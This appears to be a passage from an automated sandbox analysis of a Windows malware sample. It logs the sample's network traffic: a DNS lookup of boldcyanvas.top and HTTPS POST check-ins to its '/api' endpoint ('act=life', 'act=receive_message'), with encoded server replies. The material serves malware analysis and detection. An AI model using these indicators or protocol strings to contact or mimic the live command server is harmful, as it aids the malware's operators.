Feb 14, 2025 16:32:21.867860079 CET	443	49729	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:21.868099928 CET	443	49729	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:21.869404078 CET	49729	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:21.869642019 CET	49729	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:21.869668961 CET	443	49729	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:21.869812012 CET	49729	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:21.869817972 CET	443	49729	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:22.540838957 CET	443	49729	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:22.541115999 CET	443	49729	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:22.541233063 CET	49729	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:22.541428089 CET	49729	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:22.541443110 CET	443	49729	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:22.788705111 CET	49740	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:22.788754940 CET	443	49740	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:22.788912058 CET	49740	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:22.789194107 CET	49740	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:22.789206028 CET	443	49740	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:23.276462078 CET	443	49740	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:23.277812004 CET	49740	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:23.278610945 CET	49740	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:23.278623104 CET	443	49740	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:23.278903961 CET	443	49740	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:23.280280113 CET	49740	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:23.280280113 CET	49740	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:23.280318022 CET	443	49740	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:23.280388117 CET	49740	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:23.280388117 CET	49740	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:23.280397892 CET	443	49740	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:23.327327967 CET	443	49740	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:24.021383047 CET	443	49740	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:24.021480083 CET	443	49740	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:24.021533966 CET	49740	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:24.021678925 CET	49740	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:24.021694899 CET	443	49740	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:25.008325100 CET	49751	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:25.008366108 CET	443	49751	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:25.008450985 CET	49751	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:25.008757114 CET	49751	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:25.008773088 CET	443	49751	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:25.647718906 CET	443	49751	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:25.647840023 CET	49751	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:25.649130106 CET	49751	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:25.649141073 CET	443	49751	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:25.649386883 CET	443	49751	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:25.650672913 CET	49751	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:25.650823116 CET	49751	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:25.650854111 CET	443	49751	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:26.146748066 CET	443	49751	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:26.146847963 CET	443	49751	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:26.146918058 CET	49751	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:26.147082090 CET	49751	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:26.147094965 CET	443	49751	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:26.697552919 CET	49762	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:26.697597027 CET	443	49762	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:26.697686911 CET	49762	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:26.698075056 CET	49762	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:26.698087931 CET	443	49762	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:28.097079039 CET	443	49762	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:28.097249985 CET	49762	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:28.098721981 CET	49762	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:28.098736048 CET	443	49762	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:28.099381924 CET	443	49762	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:28.100858927 CET	49762	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:28.101790905 CET	49762	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:28.101861954 CET	443	49762	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:28.101978064 CET	49762	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:28.102030993 CET	443	49762	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:28.102104902 CET	49762	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:28.102170944 CET	443	49762	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:28.102247000 CET	49762	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:28.102410078 CET	443	49762	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:28.102435112 CET	443	49762	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:28.102483034 CET	49762	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:28.102504015 CET	49762	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:28.102504015 CET	443	49762	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:28.102535963 CET	443	49762	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:28.102576017 CET	49762	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:28.102576971 CET	443	49762	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:28.102585077 CET	443	49762	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:28.102719069 CET	49762	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:28.102735043 CET	443	49762	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:28.102751017 CET	49762	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:28.102756023 CET	443	49762	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:28.102865934 CET	49762	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:28.102890015 CET	443	49762	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:28.102905989 CET	49762	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:28.102915049 CET	443	49762	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:28.103025913 CET	49762	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:28.103048086 CET	443	49762	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:28.103065014 CET	49762	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:28.103075981 CET	443	49762	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:28.103094101 CET	49762	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:28.103101969 CET	443	49762	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:28.103143930 CET	49762	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:28.103166103 CET	443	49762	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:28.103180885 CET	49762	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:28.103213072 CET	49762	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:28.112654924 CET	443	49762	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:29.980231047 CET	443	49762	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:29.980493069 CET	443	49762	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:29.980591059 CET	49762	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:29.980770111 CET	49762	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:29.980793953 CET	443	49762	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:30.027143002 CET	49776	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:30.027203083 CET	443	49776	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:30.027318001 CET	49776	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:30.030903101 CET	49776	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:30.030921936 CET	443	49776	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:30.511184931 CET	443	49776	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:30.511491060 CET	49776	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:30.531909943 CET	49776	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:30.531941891 CET	443	49776	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:30.532928944 CET	443	49776	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:30.534555912 CET	49776	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:30.534595966 CET	49776	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:30.534729004 CET	443	49776	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:31.076404095 CET	443	49776	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:31.076658010 CET	443	49776	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:31.076723099 CET	49776	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:31.076913118 CET	49776	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:31.076931953 CET	443	49776	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:31.076957941 CET	49776	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:31.076965094 CET	443	49776	104.21.33.245	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 14, 2025 16:32:16.302448034 CET	60297	53	192.168.2.7	1.1.1.1
Feb 14, 2025 16:32:16.635659933 CET	53	60297	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 14, 2025 16:32:16.302448034 CET	192.168.2.7	1.1.1.1	0x37b3	Standard query (0)	boldcyanvas.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 14, 2025 16:32:16.635659933 CET	1.1.1.1	192.168.2.7	0x37b3	No error (0)	boldcyanvas.top		104.21.33.245	A (IP address)	IN (0x0001)	false
Feb 14, 2025 16:32:16.635659933 CET	1.1.1.1	192.168.2.7	0x37b3	No error (0)	boldcyanvas.top		172.67.151.251	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

boldcyanvas.top

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49705	104.21.33.245	443	2120	C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 15:32:17 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: boldcyanvas.top
2025-02-14 15:32:17 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-02-14 15:32:18 UTC	1132	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 15:32:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=q1fj6c675kn2lm29rhh2cr85ej; expires=Sat, 15 Feb 2025 15:32:18 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1pey16RLY4HljOfiVY4tKAc4d%2FWvDyL2Bp1qvDdmgVimR3lvYF%2BZLH%2B%2BUXT3%2F317W0cY10yRboZ9hNA%2FKMXjEauEqF2NxZ%2BQEq6GlMzHoD%2B4wqNRF3h3IvJqhEQUrVlgjEQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 911e1c2b6cc48cc0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1785&min_rtt=1785&rtt_var=671&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2837&recv_bytes=906&delivery_rate=1629464&cwnd=234&unsent_bytes=0&cid=4b6cc8adf9f937d0&ts=1022&x=0"
2025-02-14 15:32:18 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-02-14 15:32:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49707	104.21.33.245	443	2120	C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 15:32:18 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 43 Host: boldcyanvas.top
2025-02-14 15:32:18 UTC	43	OUT	Data Raw: 61 63 74 3d 72 65 63 65 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 63 73 57 73 38 2d 2d 26 6a 3d Data Ascii: act=receive_message&ver=4.0&lid=PcsWs8--&j=
2025-02-14 15:32:19 UTC	1117	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 15:32:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=oq6tq1aedlbpd91npbf3flrehd; expires=Sat, 15 Feb 2025 15:32:19 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CHDviUr3YWXeuVQ1ZOYfuDqK4NmRdqA5EtuPyjUBMqQRp6AN9vurUJ0dPSoiHIL2eAPl1CrZ8%2BofgNSTXjcgs2qPzwGIQirDvDZ6cUyTUzZs4R5UamkDA7kR4cLhEkWi498%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 911e1c3328755589-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1610&min_rtt=1452&rtt_var=860&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=942&delivery_rate=1075110&cwnd=229&unsent_bytes=0&cid=6ab5731b8e4f13d4&ts=580&x=0"
2025-02-14 15:32:19 UTC	252	IN	Data Raw: 34 39 39 34 0d 0a 69 7a 6c 54 71 44 61 42 79 74 43 75 2b 74 73 4e 73 59 43 67 43 43 6f 34 66 53 6b 36 67 53 58 2f 35 49 4d 53 4b 37 69 58 68 4e 33 77 47 79 57 4b 44 4c 58 6d 38 74 32 66 2b 54 66 46 38 74 56 74 42 68 6f 63 54 52 69 37 51 35 36 49 38 48 63 48 6d 75 48 70 2f 37 46 66 4d 73 52 46 35 4f 62 79 79 34 4c 35 4e 2b 72 37 67 6d 31 45 47 6b 63 4c 58 2b 74 48 6e 6f 6a 68 63 30 44 58 35 2b 69 2b 34 31 55 30 77 46 50 69 72 72 48 43 6c 37 35 6f 31 4f 48 4b 5a 6b 4e 56 46 55 51 59 72 51 65 61 6e 71 45 6f 43 66 58 79 38 4c 7a 47 57 43 44 44 46 50 7a 6d 71 34 79 66 74 53 2b 4c 6f 73 46 74 53 46 51 62 54 56 48 70 54 5a 65 41 34 48 5a 42 79 50 37 69 74 65 4e 62 4e 38 46 5a 36 37 71 38 79 4a 43 31 62 74 37 68 67 69 51 49 58 51 63 4c 41 4b 4d 55 72 34 Data Ascii: 4994izlTqDaBytCu+tsNsYCgCCo4fSk6gSX/5IMSK7iXhN3wGyWKDLXm8t2f+TfF8tVtBhocTRi7Q56I8HcHmuHp/7FfMsRF5Obyy4L5N+r7gm1EGkcLX+tHnojhc0DX5+i+41U0wFPirrHCl75o1OHKZkNVFUQYrQeanqEoCfXy8LzGWCDDFPzmq4yftS+LosFtSFQbTVHpTZeA4HZByP7iteNbN8FZ67q8yJC1bt7hgiQIXQcLAKMUr4
2025-02-14 15:32:19 UTC	1369	IN	Data Raw: 58 77 59 56 7a 58 35 65 44 2f 39 68 55 6f 69 6c 50 76 36 4f 71 4d 6b 4c 56 68 31 75 48 4e 62 55 6c 61 44 55 52 59 34 45 2b 56 67 75 74 2f 52 74 58 37 37 4c 6a 68 55 6a 62 46 55 2b 75 75 76 63 2f 59 39 79 2f 55 2b 6f 49 79 43 48 6f 50 53 46 76 33 53 6f 7a 47 2f 6a 35 51 6d 76 4c 71 2f 37 45 62 4e 38 52 56 37 71 69 67 78 4a 4f 79 61 73 48 70 79 32 64 46 57 68 4a 42 56 2b 42 48 6d 6f 7a 72 66 30 50 65 2b 4f 75 35 36 56 74 78 68 42 54 6b 73 50 4b 55 32 4a 70 71 77 2b 58 4f 66 41 70 67 58 31 51 57 2b 67 65 61 69 71 45 6f 43 64 4c 77 35 62 7a 69 56 44 4c 43 58 2f 47 6f 6f 4d 71 56 76 48 33 56 35 38 78 67 53 30 67 56 52 56 37 67 54 70 61 50 35 48 64 4e 6d 72 75 6d 75 50 45 62 61 59 70 31 37 71 4f 2b 78 6f 2b 35 4c 38 79 73 32 79 70 50 56 6c 38 54 47 4f 64 47 6d Data Ascii: XwYVzX5eD/9hUoilPv6OqMkLVh1uHNbUlaDURY4E+Vgut/RtX77LjhUjbFU+uuvc/Y9y/U+oIyCHoPSFv3SozG/j5QmvLq/7EbN8RV7qigxJOyasHpy2dFWhJBV+BHmozrf0Pe+Ou56VtxhBTksPKU2Jpqw+XOfApgX1QW+geaiqEoCdLw5bziVDLCX/GooMqVvH3V58xgS0gVRV7gTpaP5HdNmrumuPEbaYp17qO+xo+5L8ys2ypPVl8TGOdGm
2025-02-14 15:32:19 UTC	1369	IN	Data Raw: 4f 77 72 57 2b 2f 38 4e 59 4a 63 6c 65 6f 5a 32 78 77 70 61 2b 65 5a 50 39 6a 48 4d 49 58 52 4d 4c 41 4b 4e 4b 6e 49 37 6e 59 6b 62 58 39 75 69 78 35 6c 34 2b 77 6c 54 6a 70 62 66 49 6b 37 4a 73 33 75 62 51 59 45 68 53 47 6b 70 53 36 51 66 54 78 75 5a 6f 43 59 4b 31 31 36 6a 69 47 51 54 4a 57 75 32 76 70 49 79 48 39 33 61 54 35 63 34 71 45 42 6f 53 51 31 33 6d 53 4a 79 4d 37 33 56 44 31 76 33 6f 76 50 74 55 4e 63 70 59 36 36 4b 2f 77 70 79 78 5a 74 6a 70 78 47 70 4a 55 46 38 46 47 4f 52 66 33 64 36 68 52 45 37 57 2b 4f 6e 39 33 46 67 2f 78 46 50 31 36 4b 32 43 67 66 6c 6f 33 36 4b 61 4b 6b 52 54 48 30 42 53 35 30 65 61 69 2b 52 7a 54 74 6e 34 34 62 58 6e 58 44 58 47 58 65 36 75 73 73 75 63 76 48 33 57 36 38 35 6d 43 42 52 66 54 45 43 6a 48 39 32 70 35 6d Data Ascii: OwrW+/8NYJcleoZ2xwpa+eZP9jHMIXRMLAKNKnI7nYkbX9uix5l4+wlTjpbfIk7Js3ubQYEhSGkpS6QfTxuZoCYK116jiGQTJWu2vpIyH93aT5c4qEBoSQ13mSJyM73VD1v3ovPtUNcpY66K/wpyxZtjpxGpJUF8FGORf3d6hRE7W+On93Fg/xFP16K2Cgflo36KaKkRTH0BS50eai+RzTtn44bXnXDXGXe6ussucvH3W685mCBRfTECjH92p5m
2025-02-14 15:32:19 UTC	1369	IN	Data Raw: 37 37 62 37 56 54 2f 44 57 65 57 67 74 63 4b 56 73 6d 6e 59 35 63 56 73 52 56 49 53 54 6c 76 69 51 35 65 55 34 6e 74 44 31 2f 2b 6d 38 61 6c 63 4b 59 6f 4d 6f 34 2b 2b 35 59 69 69 66 63 57 69 33 53 52 52 47 68 68 48 47 4c 73 48 6e 6f 6e 6f 66 30 48 53 2b 75 6d 37 35 31 30 33 78 31 48 73 6f 71 44 45 6c 72 52 6b 33 4f 6e 51 61 6b 56 65 45 30 39 51 36 45 33 64 79 4b 46 33 55 5a 71 74 70 6f 72 6b 56 44 48 4a 51 71 4f 33 2f 4e 58 59 76 6d 4f 54 75 6f 4a 6d 52 6c 6f 51 52 31 54 6f 54 35 79 4b 37 33 64 4d 30 2f 33 75 72 65 68 66 4f 63 74 61 37 4b 6d 32 79 5a 32 39 61 4e 66 6b 7a 53 6f 47 47 68 68 54 47 4c 73 48 73 71 48 55 4d 6d 6a 67 74 66 6e 78 38 42 73 32 78 68 53 37 36 4c 37 50 6c 4c 46 67 31 65 76 4f 59 45 46 52 45 30 42 63 37 30 36 59 67 4f 42 31 54 4e 76 Data Ascii: 77b7VT/DWeWgtcKVsmnY5cVsRVISTlviQ5eU4ntD1/+m8alcKYoMo4++5YiifcWi3SRRGhhHGLsHnonof0HS+um75103x1HsoqDElrRk3OnQakVeE09Q6E3dyKF3UZqtporkVDHJQqO3/NXYvmOTuoJmRloQR1ToT5yK73dM0/3urehfOcta7Km2yZ29aNfkzSoGGhhTGLsHsqHUMmjgtfnx8Bs2xhS76L7PlLFg1evOYEFRE0Bc706YgOB1TNv
2025-02-14 15:32:19 UTC	1369	IN	Data Raw: 31 55 38 78 56 7a 72 6f 62 50 49 6e 62 52 70 33 2b 6a 44 62 55 5a 55 46 77 73 57 6f 30 43 46 78 72 6b 77 61 4d 72 75 39 4b 6e 6b 65 6a 7a 46 46 50 7a 6d 71 34 79 66 74 53 2b 4c 6f 73 74 34 54 46 63 4e 51 6c 2f 74 53 4a 36 55 34 48 31 43 79 50 4c 70 75 2b 35 58 4e 38 56 53 34 71 32 34 77 4a 2b 38 5a 4e 7a 75 67 69 51 49 58 51 63 4c 41 4b 4e 70 6c 70 58 32 63 30 66 52 34 2f 33 2f 39 68 55 6f 69 6c 50 76 36 4f 71 4d 6d 37 4a 6b 31 2b 4c 4f 61 6b 78 58 48 31 6c 58 35 45 43 55 6a 66 4e 36 54 74 33 2b 37 72 54 6d 58 53 50 47 57 76 47 74 6f 4e 37 59 39 79 2f 55 2b 6f 49 79 43 47 77 59 57 30 6a 67 42 61 79 51 34 6d 5a 43 31 2f 6d 6d 6f 4b 64 43 63 63 31 59 6f 2f 44 79 79 70 65 77 62 4e 7a 6a 79 32 5a 46 58 78 5a 4f 57 65 56 44 6c 34 7a 68 64 6b 2f 62 38 4f 79 38 Data Ascii: 1U8xVzrobPInbRp3+jDbUZUFwsWo0CFxrkwaMru9KnkejzFFPzmq4yftS+Lost4TFcNQl/tSJ6U4H1CyPLpu+5XN8VS4q24wJ+8ZNzugiQIXQcLAKNplpX2c0fR4/3/9hUoilPv6OqMm7Jk1+LOakxXH1lX5ECUjfN6Tt3+7rTmXSPGWvGtoN7Y9y/U+oIyCGwYW0jgBayQ4mZC1/mmoKdCcc1Yo/DyypewbNzjy2ZFXxZOWeVDl4zhdk/b8Oy8
2025-02-14 15:32:19 UTC	1369	IN	Data Raw: 6f 4d 6f 36 75 31 7a 35 6d 7a 5a 74 2f 74 78 57 35 61 55 42 68 5a 57 65 4a 4d 6b 49 72 68 66 55 54 51 39 4f 2b 79 35 56 59 32 7a 56 76 6d 36 50 79 4d 6e 36 45 76 69 36 4c 6a 5a 30 4e 57 52 42 45 59 2f 41 6d 45 78 75 5a 38 43 59 4b 31 35 72 58 73 55 54 7a 4a 57 2b 43 36 73 38 71 4b 75 57 4c 5a 38 4d 68 68 54 56 63 53 52 6c 76 6c 51 5a 61 4b 38 33 6c 4a 32 66 36 6d 38 61 6c 63 4b 59 6f 4d 6f 34 75 6c 32 70 4b 2b 59 38 58 70 77 32 6c 65 56 77 38 4c 46 71 4e 57 6d 70 65 68 4b 46 2f 4b 34 75 47 67 70 30 4a 78 7a 56 69 6a 38 50 4c 4b 6b 62 39 6f 31 65 7a 51 62 30 35 56 45 45 4a 52 35 30 2b 65 68 75 56 30 54 74 2f 32 36 72 54 75 57 44 37 4f 58 65 32 68 76 59 7a 57 2b 57 6a 4c 6f 70 6f 71 61 55 45 63 52 31 57 6a 57 4e 4f 66 6f 58 64 46 6d 71 32 6d 73 2b 64 65 4d Data Ascii: oMo6u1z5mzZt/txW5aUBhZWeJMkIrhfUTQ9O+y5VY2zVvm6PyMn6Evi6LjZ0NWRBEY/AmExuZ8CYK15rXsUTzJW+C6s8qKuWLZ8MhhTVcSRlvlQZaK83lJ2f6m8alcKYoMo4ul2pK+Y8Xpw2leVw8LFqNWmpehKF/K4uGgp0JxzVij8PLKkb9o1ezQb05VEEJR50+ehuV0Tt/26rTuWD7OXe2hvYzW+WjLopoqaUEcR1WjWNOfoXdFmq2ms+deM
2025-02-14 15:32:19 UTC	1369	IN	Data Raw: 76 70 49 36 74 75 6d 48 64 35 64 51 71 56 32 56 52 43 31 66 35 42 38 57 2f 2b 44 42 4f 31 72 57 2b 2f 2f 78 63 4d 63 31 4f 39 61 2b 2b 33 5a 4f 30 59 2f 48 74 78 58 78 4c 56 52 78 61 55 61 39 4d 6b 4d 61 76 4d 45 37 43 74 62 37 2f 78 6c 77 6e 79 58 76 67 75 62 75 4d 31 76 6c 6f 78 61 4b 61 4b 6e 59 61 44 55 68 49 34 45 69 4d 75 4b 45 6f 55 4f 53 31 37 61 6e 75 53 7a 4c 63 58 2b 36 6b 6f 2f 4c 59 34 54 75 42 73 4a 41 34 47 6b 56 66 56 47 65 74 42 35 7a 47 75 55 6c 51 6d 75 4f 6d 35 37 73 56 63 64 67 55 75 2b 6a 31 7a 34 71 72 61 64 44 30 77 53 31 32 5a 44 68 64 55 75 52 58 6d 70 48 75 4d 41 65 61 2b 71 62 6e 30 42 73 34 7a 55 2f 79 76 72 2f 63 6e 2f 6c 51 6e 61 4c 61 4b 68 41 61 4b 6b 68 57 37 55 43 4c 6c 36 78 58 58 39 44 79 39 72 6a 2b 56 48 47 45 46 4f Data Ascii: vpI6tumHd5dQqV2VRC1f5B8W/+DBO1rW+//xcMc1O9a++3ZO0Y/HtxXxLVRxaUa9MkMavME7Ctb7/xlwnyXvgubuM1vloxaKaKnYaDUhI4EiMuKEoUOS17anuSzLcX+6ko/LY4TuBsJA4GkVfVGetB5zGuUlQmuOm57sVcdgUu+j1z4qradD0wS12ZDhdUuRXmpHuMAea+qbn0Bs4zU/yvr/cn/lQnaLaKhAaKkhW7UCLl6xXX9Dy9rj+VHGEFO
2025-02-14 15:32:19 UTC	1369	IN	Data Raw: 6c 61 77 67 77 76 54 42 66 45 38 57 46 31 70 56 37 77 65 69 79 4b 46 6f 43 59 4b 31 30 37 7a 6e 56 54 62 63 52 61 36 49 75 63 43 62 74 57 37 55 6f 6f 77 71 54 68 70 48 47 42 61 6a 51 34 7a 47 75 53 41 62 67 61 43 31 36 4c 6b 4a 4c 6f 52 4e 6f 37 37 79 6c 4d 72 33 4c 38 47 69 6d 69 6f 50 57 51 31 5a 58 75 42 52 6e 73 48 66 54 6b 6a 58 2b 71 71 78 34 6c 73 32 32 6b 4c 34 35 4c 72 50 67 71 4e 52 37 63 6e 4f 62 45 39 41 47 45 31 2b 77 77 66 54 78 75 34 77 45 65 4f 31 72 76 2f 57 46 58 48 53 46 4c 76 6f 68 38 2b 57 74 32 6a 46 38 34 39 43 61 32 41 6c 43 58 54 6b 55 74 2b 79 35 6d 42 59 30 66 6a 71 2f 36 63 62 4e 34 6f 4d 73 2b 62 79 79 49 6e 35 4e 34 4f 77 6d 54 38 62 44 55 38 5a 52 36 31 65 33 5a 43 68 4b 42 75 55 74 66 54 2f 73 52 74 32 79 55 62 78 72 72 48 Data Ascii: 